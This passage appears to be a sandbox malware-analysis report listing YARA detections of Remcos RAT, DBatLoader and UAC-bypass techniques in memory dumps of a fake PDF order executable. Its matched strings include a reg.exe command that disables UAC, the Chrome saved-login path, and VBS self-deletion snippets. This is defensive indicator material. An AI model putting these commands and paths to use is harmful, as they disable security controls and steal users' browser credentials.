" 0x15a14:$str_b18: Uploaded file:
14.2.logagent.exe.10540000.1.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
14.2.logagent.exe.10540000.1.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x16547:$s1: \Classes\mscfile\shell\open\command 0x165bf:$s1: \Classes\mscfile\shell\open\command 0x16527:$s2: eventvwr.exe
14.2.logagent.exe.10540000.1.unpack	Remcos_1	Remcos Payload	kevoreilly	0x1729f:$name: Remcos 0x17617:$name: Remcos 0x17b6f:$name: Remcos 0x17bc2:$name: Remcos 0x16403:$time: %02i:%02i:%02i:%03i 0x1648b:$time: %02i:%02i:%02i:%03i 0x17973:$time: %02i:%02i:%02i:%03i 0x3e03:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
14.2.logagent.exe.10540000.1.unpack	REMCOS_RAT_variants	unknown	unknown	0x17487:$str_a1: C:\Windows\System32\cmd.exe 0x174a3:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x174a3:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x16b8b:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x1718f:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x1676f:$str_b2: Executing file: 0x17527:$str_b3: GetDirectListeningPort 0x16fcf:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x172c3:$str_b5: licence_code.txt 0x1722b:$str_b6: \restart.vbs 0x1714f:$str_b8: \uninstall.vbs 0x166fb:$str_b9: Downloaded file: 0x16727:$str_b10: Downloading file: 0x1641f:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x1678b:$str_b12: Failed to upload file: 0x17567:$str_b13: StartForward 0x1754b:$str_b14: StopForward 0x170bf:$str_b15: fso.DeleteFile " 0x17123:$str_b16: On Error Resume Next 0x1708b:$str_b17: fso.DeleteFolder " 0x167a3:$str_b18: Uploaded file:
3.2.logagent.exe.1054198f.2.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
3.2.logagent.exe.1054198f.2.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x157b8:$s1: \Classes\mscfile\shell\open\command 0x15830:$s1: \Classes\mscfile\shell\open\command 0x15798:$s2: eventvwr.exe
3.2.logagent.exe.1054198f.2.unpack	Remcos_1	Remcos Payload	kevoreilly	0x16510:$name: Remcos 0x16888:$name: Remcos 0x16de0:$name: Remcos 0x16e33:$name: Remcos 0x15674:$time: %02i:%02i:%02i:%03i 0x156fc:$time: %02i:%02i:%02i:%03i 0x16be4:$time: %02i:%02i:%02i:%03i 0x3074:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
3.2.logagent.exe.1054198f.2.unpack	REMCOS_RAT_variants	unknown	unknown	0x166f8:$str_a1: C:\Windows\System32\cmd.exe 0x16714:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x16714:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x15dfc:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x16400:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x159e0:$str_b2: Executing file: 0x16798:$str_b3: GetDirectListeningPort 0x16240:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x16534:$str_b5: licence_code.txt 0x1649c:$str_b6: \restart.vbs 0x163c0:$str_b8: \uninstall.vbs 0x1596c:$str_b9: Downloaded file: 0x15998:$str_b10: Downloading file: 0x15690:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x159fc:$str_b12: Failed to upload file: 0x167d8:$str_b13: StartForward 0x167bc:$str_b14: StopForward 0x16330:$str_b15: fso.DeleteFile " 0x16394:$str_b16: On Error Resume Next 0x162fc:$str_b17: fso.DeleteFolder " 0x15a14:$str_b18: Uploaded file:
13.2.Eluiezilfw.exe.400000.0.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
8.2.Eluiezilfw.exe.3b0c37c.6.raw.unpack	JoeSecurity_UACBypassusingComputerDefaults	Yara detected UAC Bypass using ComputerDefaults	Joe Security
14.2.logagent.exe.400000.0.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
14.2.logagent.exe.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x157b8:$s1: \Classes\mscfile\shell\open\command 0x15830:$s1: \Classes\mscfile\shell\open\command 0x15798:$s2: eventvwr.exe
14.2.logagent.exe.400000.0.raw.unpack	Remcos_1	Remcos Payload	kevoreilly	0x16510:$name: Remcos 0x16888:$name: Remcos 0x16de0:$name: Remcos 0x16e33:$name: Remcos 0x15674:$time: %02i:%02i:%02i:%03i 0x156fc:$time: %02i:%02i:%02i:%03i 0x16be4:$time: %02i:%02i:%02i:%03i 0x3074:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
14.2.logagent.exe.400000.0.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x166f8:$str_a1: C:\Windows\System32\cmd.exe 0x16714:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x16714:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x15dfc:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x16400:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x159e0:$str_b2: Executing file: 0x16798:$str_b3: GetDirectListeningPort 0x16240:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x16534:$str_b5: licence_code.txt 0x1649c:$str_b6: \restart.vbs 0x163c0:$str_b8: \uninstall.vbs 0x1596c:$str_b9: Downloaded file: 0x15998:$str_b10: Downloading file: 0x15690:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x159fc:$str_b12: Failed to upload file: 0x167d8:$str_b13: StartForward 0x167bc:$str_b14: StopForward 0x16330:$str_b15: fso.DeleteFile " 0x16394:$str_b16: On Error Resume Next 0x162fc:$str_b17: fso.DeleteFolder " 0x15a14:$str_b18: Uploaded file:
15.2.DpiScaling.exe.10540000.1.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
15.2.DpiScaling.exe.10540000.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x17147:$s1: \Classes\mscfile\shell\open\command 0x171bf:$s1: \Classes\mscfile\shell\open\command 0x17127:$s2: eventvwr.exe
15.2.DpiScaling.exe.10540000.1.raw.unpack	Remcos_1	Remcos Payload	kevoreilly	0x17e9f:$name: Remcos 0x18217:$name: Remcos 0x1876f:$name: Remcos 0x187c2:$name: Remcos 0x17003:$time: %02i:%02i:%02i:%03i 0x1708b:$time: %02i:%02i:%02i:%03i 0x18573:$time: %02i:%02i:%02i:%03i 0x4a03:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
15.2.DpiScaling.exe.10540000.1.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x18087:$str_a1: C:\Windows\System32\cmd.exe 0x180a3:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x180a3:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x1778b:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x17d8f:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x1736f:$str_b2: Executing file: 0x18127:$str_b3: GetDirectListeningPort 0x17bcf:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x17ec3:$str_b5: licence_code.txt 0x17e2b:$str_b6: \restart.vbs 0x17d4f:$str_b8: \uninstall.vbs 0x172fb:$str_b9: Downloaded file: 0x17327:$str_b10: Downloading file: 0x1701f:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x1738b:$str_b12: Failed to upload file: 0x18167:$str_b13: StartForward 0x1814b:$str_b14: StopForward 0x17cbf:$str_b15: fso.DeleteFile " 0x17d23:$str_b16: On Error Resume Next 0x17c8b:$str_b17: fso.DeleteFolder " 0x173a3:$str_b18: Uploaded file:
3.2.logagent.exe.1054198f.2.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
3.2.logagent.exe.1054198f.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x157b8:$s1: \Classes\mscfile\shell\open\command 0x15830:$s1: \Classes\mscfile\shell\open\command 0x15798:$s2: eventvwr.exe
3.2.logagent.exe.1054198f.2.raw.unpack	Remcos_1	Remcos Payload	kevoreilly	0x16510:$name: Remcos 0x16888:$name: Remcos 0x16de0:$name: Remcos 0x16e33:$name: Remcos 0x15674:$time: %02i:%02i:%02i:%03i 0x156fc:$time: %02i:%02i:%02i:%03i 0x16be4:$time: %02i:%02i:%02i:%03i 0x3074:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
3.2.logagent.exe.1054198f.2.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x166f8:$str_a1: C:\Windows\System32\cmd.exe 0x16714:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x16714:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x15dfc:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x16400:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x159e0:$str_b2: Executing file: 0x16798:$str_b3: GetDirectListeningPort 0x16240:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x16534:$str_b5: licence_code.txt 0x1649c:$str_b6: \restart.vbs 0x163c0:$str_b8: \uninstall.vbs 0x1596c:$str_b9: Downloaded file: 0x15998:$str_b10: Downloading file: 0x15690:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x159fc:$str_b12: Failed to upload file: 0x167d8:$str_b13: StartForward 0x167bc:$str_b14: StopForward 0x16330:$str_b15: fso.DeleteFile " 0x16394:$str_b16: On Error Resume Next 0x162fc:$str_b17: fso.DeleteFolder " 0x15a14:$str_b18: Uploaded file:
13.2.Eluiezilfw.exe.3b0c37c.6.raw.unpack	JoeSecurity_UACBypassusingComputerDefaults	Yara detected UAC Bypass using ComputerDefaults	Joe Security
3.2.logagent.exe.10540000.1.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
3.2.logagent.exe.10540000.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x17147:$s1: \Classes\mscfile\shell\open\command 0x171bf:$s1: \Classes\mscfile\shell\open\command 0x17127:$s2: eventvwr.exe
3.2.logagent.exe.10540000.1.raw.unpack	Remcos_1	Remcos Payload	kevoreilly	0x17e9f:$name: Remcos 0x18217:$name: Remcos 0x1876f:$name: Remcos 0x187c2:$name: Remcos 0x17003:$time: %02i:%02i:%02i:%03i 0x1708b:$time: %02i:%02i:%02i:%03i 0x18573:$time: %02i:%02i:%02i:%03i 0x4a03:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
3.2.logagent.exe.10540000.1.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x18087:$str_a1: C:\Windows\System32\cmd.exe 0x180a3:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x180a3:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x1778b:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x17d8f:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x1736f:$str_b2: Executing file: 0x18127:$str_b3: GetDirectListeningPort 0x17bcf:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x17ec3:$str_b5: licence_code.txt 0x17e2b:$str_b6: \restart.vbs 0x17d4f:$str_b8: \uninstall.vbs 0x172fb:$str_b9: Downloaded file: 0x17327:$str_b10: Downloading file: 0x1701f:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x1738b:$str_b12: Failed to upload file: 0x18167:$str_b13: StartForward 0x1814b:$str_b14: StopForward 0x17cbf:$str_b15: fso.DeleteFile " 0x17d23:$str_b16: On Error Resume Next 0x17c8b:$str_b17: fso.DeleteFolder " 0x173a3:$str_b18: Uploaded file:
14.2.logagent.exe.1054198f.2.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
14.2.logagent.exe.1054198f.2.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x157b8:$s1: \Classes\mscfile\shell\open\command 0x15830:$s1: \Classes\mscfile\shell\open\command 0x15798:$s2: eventvwr.exe
14.2.logagent.exe.1054198f.2.unpack	Remcos_1	Remcos Payload	kevoreilly	0x16510:$name: Remcos 0x16888:$name: Remcos 0x16de0:$name: Remcos 0x16e33:$name: Remcos 0x15674:$time: %02i:%02i:%02i:%03i 0x156fc:$time: %02i:%02i:%02i:%03i 0x16be4:$time: %02i:%02i:%02i:%03i 0x3074:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
14.2.logagent.exe.1054198f.2.unpack	REMCOS_RAT_variants	unknown	unknown	0x166f8:$str_a1: C:\Windows\System32\cmd.exe 0x16714:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x16714:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x15dfc:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x16400:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x159e0:$str_b2: Executing file: 0x16798:$str_b3: GetDirectListeningPort 0x16240:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x16534:$str_b5: licence_code.txt 0x1649c:$str_b6: \restart.vbs 0x163c0:$str_b8: \uninstall.vbs 0x1596c:$str_b9: Downloaded file: 0x15998:$str_b10: Downloading file: 0x15690:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x159fc:$str_b12: Failed to upload file: 0x167d8:$str_b13: StartForward 0x167bc:$str_b14: StopForward 0x16330:$str_b15: fso.DeleteFile " 0x16394:$str_b16: On Error Resume Next 0x162fc:$str_b17: fso.DeleteFolder " 0x15a14:$str_b18: Uploaded file:
15.2.DpiScaling.exe.400000.0.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
15.2.DpiScaling.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x157b8:$s1: \Classes\mscfile\shell\open\command 0x15830:$s1: \Classes\mscfile\shell\open\command 0x15798:$s2: eventvwr.exe
15.2.DpiScaling.exe.400000.0.unpack	Remcos_1	Remcos Payload	kevoreilly	0x16510:$name: Remcos 0x16888:$name: Remcos 0x16de0:$name: Remcos 0x16e33:$name: Remcos 0x15674:$time: %02i:%02i:%02i:%03i 0x156fc:$time: %02i:%02i:%02i:%03i 0x16be4:$time: %02i:%02i:%02i:%03i 0x3074:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
15.2.DpiScaling.exe.400000.0.unpack	REMCOS_RAT_variants	unknown	unknown	0x166f8:$str_a1: C:\Windows\System32\cmd.exe 0x16714:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x16714:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x15dfc:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x16400:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x159e0:$str_b2: Executing file: 0x16798:$str_b3: GetDirectListeningPort 0x16240:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x16534:$str_b5: licence_code.txt 0x1649c:$str_b6: \restart.vbs 0x163c0:$str_b8: \uninstall.vbs 0x1596c:$str_b9: Downloaded file: 0x15998:$str_b10: Downloading file: 0x15690:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x159fc:$str_b12: Failed to upload file: 0x167d8:$str_b13: StartForward 0x167bc:$str_b14: StopForward 0x16330:$str_b15: fso.DeleteFile " 0x16394:$str_b16: On Error Resume Next 0x162fc:$str_b17: fso.DeleteFolder " 0x15a14:$str_b18: Uploaded file:
3.2.logagent.exe.400000.0.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
3.2.logagent.exe.400000.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x157b8:$s1: \Classes\mscfile\shell\open\command 0x15830:$s1: \Classes\mscfile\shell\open\command 0x15798:$s2: eventvwr.exe
3.2.logagent.exe.400000.0.raw.unpack	Remcos_1	Remcos Payload	kevoreilly	0x16510:$name: Remcos 0x16888:$name: Remcos 0x16de0:$name: Remcos 0x16e33:$name: Remcos 0x15674:$time: %02i:%02i:%02i:%03i 0x156fc:$time: %02i:%02i:%02i:%03i 0x16be4:$time: %02i:%02i:%02i:%03i 0x3074:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
3.2.logagent.exe.400000.0.raw.unpack	REMCOS_RAT_variants	unknown	unknown	0x166f8:$str_a1: C:\Windows\System32\cmd.exe 0x16714:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x16714:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x15dfc:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x16400:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x159e0:$str_b2: Executing file: 0x16798:$str_b3: GetDirectListeningPort 0x16240:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x16534:$str_b5: licence_code.txt 0x1649c:$str_b6: \restart.vbs 0x163c0:$str_b8: \uninstall.vbs 0x1596c:$str_b9: Downloaded file: 0x15998:$str_b10: Downloading file: 0x15690:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x159fc:$str_b12: Failed to upload file: 0x167d8:$str_b13: StartForward 0x167bc:$str_b14: StopForward 0x16330:$str_b15: fso.DeleteFile " 0x16394:$str_b16: On Error Resume Next 0x162fc:$str_b17: fso.DeleteFolder " 0x15a14:$str_b18: Uploaded file:
0.2.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.395844c.5.unpack	JoeSecurity_UACBypassusingComputerDefaults	Yara detected UAC Bypass using ComputerDefaults	Joe Security
0.0.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.400000.0.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
15.2.DpiScaling.exe.10540000.1.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
15.2.DpiScaling.exe.10540000.1.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x16547:$s1: \Classes\mscfile\shell\open\command 0x165bf:$s1: \Classes\mscfile\shell\open\command 0x16527:$s2: eventvwr.exe
15.2.DpiScaling.exe.10540000.1.unpack	Remcos_1	Remcos Payload	kevoreilly	0x1729f:$name: Remcos 0x17617:$name: Remcos 0x17b6f:$name: Remcos 0x17bc2:$name: Remcos 0x16403:$time: %02i:%02i:%02i:%03i 0x1648b:$time: %02i:%02i:%02i:%03i 0x17973:$time: %02i:%02i:%02i:%03i 0x3e03:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
15.2.DpiScaling.exe.10540000.1.unpack	REMCOS_RAT_variants	unknown	unknown	0x17487:$str_a1: C:\Windows\System32\cmd.exe 0x174a3:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x174a3:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x16b8b:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x1718f:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x1676f:$str_b2: Executing file: 0x17527:$str_b3: GetDirectListeningPort 0x16fcf:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x172c3:$str_b5: licence_code.txt 0x1722b:$str_b6: \restart.vbs 0x1714f:$str_b8: \uninstall.vbs 0x166fb:$str_b9: Downloaded file: 0x16727:$str_b10: Downloading file: 0x1641f:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x1678b:$str_b12: Failed to upload file: 0x17567:$str_b13: StartForward 0x1754b:$str_b14: StopForward 0x170bf:$str_b15: fso.DeleteFile " 0x17123:$str_b16: On Error Resume Next 0x1708b:$str_b17: fso.DeleteFolder " 0x167a3:$str_b18: Uploaded file:
13.0.Eluiezilfw.exe.400000.0.unpack	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
8.2.Eluiezilfw.exe.3ab844c.5.unpack	JoeSecurity_UACBypassusingComputerDefaults	Yara detected UAC Bypass using ComputerDefaults	Joe Security
13.2.Eluiezilfw.exe.3c30000.7.unpack	JoeSecurity_UACBypassusingComputerDefaults	Yara detected UAC Bypass using ComputerDefaults	Joe Security
14.2.logagent.exe.400000.0.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
14.2.logagent.exe.400000.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x157b8:$s1: \Classes\mscfile\shell\open\command 0x15830:$s1: \Classes\mscfile\shell\open\command 0x15798:$s2: eventvwr.exe
14.2.logagent.exe.400000.0.unpack	Remcos_1	Remcos Payload	kevoreilly	0x16510:$name: Remcos 0x16888:$name: Remcos 0x16de0:$name: Remcos 0x16e33:$name: Remcos 0x15674:$time: %02i:%02i:%02i:%03i 0x156fc:$time: %02i:%02i:%02i:%03i 0x16be4:$time: %02i:%02i:%02i:%03i 0x3074:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
14.2.logagent.exe.400000.0.unpack	REMCOS_RAT_variants	unknown	unknown	0x166f8:$str_a1: C:\Windows\System32\cmd.exe 0x16714:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x16714:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x15dfc:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x16400:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x159e0:$str_b2: Executing file: 0x16798:$str_b3: GetDirectListeningPort 0x16240:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x16534:$str_b5: licence_code.txt 0x1649c:$str_b6: \restart.vbs 0x163c0:$str_b8: \uninstall.vbs 0x1596c:$str_b9: Downloaded file: 0x15998:$str_b10: Downloading file: 0x15690:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x159fc:$str_b12: Failed to upload file: 0x167d8:$str_b13: StartForward 0x167bc:$str_b14: StopForward 0x16330:$str_b15: fso.DeleteFile " 0x16394:$str_b16: On Error Resume Next 0x162fc:$str_b17: fso.DeleteFolder " 0x15a14:$str_b18: Uploaded file:
0.2.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39ac37c.6.raw.unpack	JoeSecurity_UACBypassusingComputerDefaults	Yara detected UAC Bypass using ComputerDefaults	Joe Security
3.2.logagent.exe.10540000.1.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
3.2.logagent.exe.10540000.1.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer	detects Windows exceutables potentially bypassing UAC using eventvwr.exe	ditekSHen	0x16547:$s1: \Classes\mscfile\shell\open\command 0x165bf:$s1: \Classes\mscfile\shell\open\command 0x16527:$s2: eventvwr.exe
3.2.logagent.exe.10540000.1.unpack	Remcos_1	Remcos Payload	kevoreilly	0x1729f:$name: Remcos 0x17617:$name: Remcos 0x17b6f:$name: Remcos 0x17bc2:$name: Remcos 0x16403:$time: %02i:%02i:%02i:%03i 0x1648b:$time: %02i:%02i:%02i:%03i 0x17973:$time: %02i:%02i:%02i:%03i 0x3e03:$crypto: 0F B6 D0 8B 45 08 89 16 8D 34 07 8B 01 03 C2 8B CB 99 F7 F9 8A 84 95 F8 FB FF FF 30 06 47 3B 7D 0C 72
3.2.logagent.exe.10540000.1.unpack	REMCOS_RAT_variants	unknown	unknown	0x17487:$str_a1: C:\Windows\System32\cmd.exe 0x174a3:$str_a3: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x174a3:$str_a4: /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWOR 0x16b8b:$str_a5: \AppData\Local\Google\Chrome\User Data\Default\Login Data 0x1718f:$str_b1: CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName) 0x1676f:$str_b2: Executing file: 0x17527:$str_b3: GetDirectListeningPort 0x16fcf:$str_b4: Set fso = CreateObject("Scripting.FileSystemObject") 0x172c3:$str_b5: licence_code.txt 0x1722b:$str_b6: \restart.vbs 0x1714f:$str_b8: \uninstall.vbs 0x166fb:$str_b9: Downloaded file: 0x16727:$str_b10: Downloading file: 0x1641f:$str_b11: KeepAlive Enabled! Timeout: %i seconds 0x1678b:$str_b12: Failed to upload file: 0x17567:$str_b13: StartForward 0x1754b:$str_b14: StopForward 0x170bf:$str_b15: fso.DeleteFile " 0x17123:$str_b16: On Error Resume Next 0x1708b:$str_b17: fso.DeleteFolder " 0x167a3:$str_b18: Uploaded file:
13.2.Eluiezilfw.exe.3ab844c.5.unpack	JoeSecurity_UACBypassusingComputerDefaults	Yara detected UAC Bypass using ComputerDefaults	Joe Security
15.2.DpiScaling.exe.1054198f.2.raw.unpack	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
